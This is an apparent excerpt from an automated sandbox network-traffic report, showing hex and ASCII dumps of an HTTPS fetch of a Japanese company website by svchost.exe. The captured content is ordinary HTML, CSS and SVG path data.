2d 2e 37 33 2c 32 2e 30 Data Ascii: 71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.69,141.26a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M534.47,134.78a1.62,1.62,0,0,1-.73,2.0
2023-05-31 12:52:13 UTC	8041	IN	Data Raw: 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 32 38 2c 31 37 2e 34 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 35 30 2e 30 36 2c 31 31 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 Data Ascii: 2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.28,17.43a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M550.06,11a1.62,1.62,0,0,1
2023-05-31 12:52:13 UTC	8057	IN	Data Raw: 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 63 61 73 65 2f 77 6f 72 6b 73 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6e 6e 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 61 67 65 73 2f 74 6f 70 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2d 69 6d 61 67 65 36 2e 70 6e 67 22 20 61 6c 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 6f 70 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 63 6f 6e 74 65 6e 74 22 3e e9 9b 86 e5 90 88 e4 bd 8f e5 ae 85 3c 62 72 3e e6 b6 88 e9 98 b2 e8 a8 ad e5 82 99 e7 82 b9 Data Ascii: 4"> <a href="case/works/maintenance.html"> <div class="top-performance-inner"><img src="./images/top/performance-image6.png" alt=""> <p class="top-performance-content"><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	50924	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-05-31 12:51:53 UTC	162	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:51:53 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-05-31 12:51:53 UTC	162	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-05-31 12:51:53 UTC	178	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-05-31 12:51:53 UTC	194	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-05-31 12:51:53 UTC	210	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-05-31 12:51:53 UTC	226	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
2023-05-31 12:51:53 UTC	226	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-05-31 12:51:54 UTC	242	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-05-31 12:51:54 UTC	258	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-05-31 12:51:54 UTC	274	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-05-31 12:51:54 UTC	290	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
2023-05-31 12:51:54 UTC	306	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-05-31 12:51:54 UTC	322	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-05-31 12:51:54 UTC	338	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-05-31 12:51:54 UTC	354	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-05-31 12:51:54 UTC	370	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-05-31 12:51:54 UTC	386	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
